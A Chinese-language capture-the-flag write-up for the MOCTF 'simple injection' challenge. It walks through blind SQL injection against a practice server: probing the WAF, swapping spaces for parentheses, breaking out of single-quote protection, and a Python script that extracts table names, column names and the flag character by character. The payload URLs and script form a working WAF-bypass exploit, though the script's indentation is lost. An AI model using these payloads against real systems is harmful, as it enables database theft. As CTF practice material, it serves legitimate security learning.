MOCTF 簡單註入,記錄一下盲註腳本
最近在練習sql註入寫腳本,記錄一下思路,剛學的and 1=1也拿出來溜溜
http://119.23.73.3:5004/?id=1
首先,沒有被過濾是正常顯示。 沒有被過濾但是查詢不到就是空白,比如?id=99999 waf過濾關鍵詞,提示whatfuck
①
我首先判斷的是有沒有用trim()函數,要知道trim函數和過濾是不一樣的。
區別很簡單,舉個例子。trim默認移除字符串左右兩邊的空格
http://119.23.73.3:5004/?id=1(此處1後邊有空格) 如果使用了trim()函數,也過濾掉了空格。 那麽這個不會出waf的,而是會正常顯示id=1的內容。 會讓你以為空格並沒有過濾,是因為trim函數把空格去掉後才用waf函數進行的判斷。
測試的方法很簡單?id=1 1,讓空格在裏面就好了。
發現過濾了空格,尋找能夠代替空格的字符。
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ ()
發現只有()沒有被過濾。
②
判斷是整形註入還是字符型註入,?id=1-0,發現不是id=1的界面,不是整形註入
③
判斷id的保護是什麽?首先猜測是引號,輸入1‘1,(這裏為了排除trim函數的影響),發現沒有出現waf,但是會出現空白。所以是單引號保護,因為單引號沒有被過濾,會匹配原來保護id的兩個單引號的前一個,導致了有一了孤零零的單引號沒有人和他配對,就會出錯,什麽也查不出來。
④
判斷截斷字符有沒有被過濾,發現嘗試%23,--+,--%20都會被過濾。
所以考慮and ‘1這樣繞過,匹配最後的那個‘,不讓他孤零零,有任何他匹配就不會出錯。
⑤
判斷其他的過濾字符
union被過濾,無法使用聯合查詢 > < like regexp被過濾,但是=沒有被過濾,between and 也沒有被過濾。 or被過濾,information這個一會再說,有點特殊。 mid,ascii沒有被過濾,逗號也沒有被過濾。
⑥
判斷邏輯
http://119.23.73.3:5004/?id=1%27and(select(0))and%271 http://119.23.73.3:5004/?id=1%27and(select(1))and%271
發現可以判斷出來註入的邏輯,只要構造語句讓select(0)和select(1)裏面的1,0值出現就可以判斷了。
⑦
腳本,py3
import requests
shiliu="0x20"
zuihou="0x7f"
i=1
while True:
#http://119.23.73.3:5004/?id=1%27and(select(mid((select(database())),1,1))=%27m%27)and%271 #MOCTF
#url="http://119.23.73.3:5004/?id=1%27and(select(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=‘moctf‘)between("+shiliu+")and(0x7f))and%271" #DO_Y0U_L1KE_LONG_T4BLE_NAME,NEWS
#url="http://119.23.73.3:5004/?id=1%27and(select(select(group_concat(column_name))from(information_schema.columns)where(table_name)=‘do_y0u_l1ke_long_t4ble_name‘)between("+shiliu+")and(0x7f))and%271" #D0_YOU_ALS0_L1KE_VERY_LONG_COLUMN_NAME
url="http://119.23.73.3:5004/?id=1%27and(select(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1)))between("+shiliu+")and(0x7f))and%271" #D0_YOU_ALS0_L1KE_VERY_LONG_COLUMN_NAME
res=requests.get(url)
#print(url)
#MOCTF{B1IND_SQL_1NJECTI0N_G0OD}
if "Hello" not in res.text:
i+=1
x=hex(int(shiliu,16)-1)
if ‘20‘ in x:
break;
print(x)
zuihou = shiliu + zuihou.replace("0x","")
shiliu="0x20"
#shiliu=x+shiliu.replace("0x","") #跑前三個的時候這個不能註釋掉,跑最後一個得註釋掉
shiliu=str(hex(int(shiliu,16)+1))
數據庫我是手動測試的,是moctf,然後剩下的,一開始偷了懶,沒用ascii跑,結果flag大小寫都提交不上,原因是flag有大寫也有小寫,數據庫是對大小寫不敏感的,用ascii就可以了
第一個語句我沒用腳本跑,自己用手試出來的。
moctf{b1ind_SQL_1njecti0n_g0od} 兄弟們不會做的就問啊,輸出一下url,挨個看看怎麽跑的,直接提交flag沒啥用
最後說一下那個or被過濾了,為什麽information沒有被過濾。
information確實被過濾了,但是information只要加上其他為被過濾的字符,也不會被過濾。
為此還去群裏問了下,
出題人:Waf加了智能識別語義,information語境就不過濾,這樣聽起來會不會更牛逼
MOCTF 簡單註入,記錄一下盲註腳本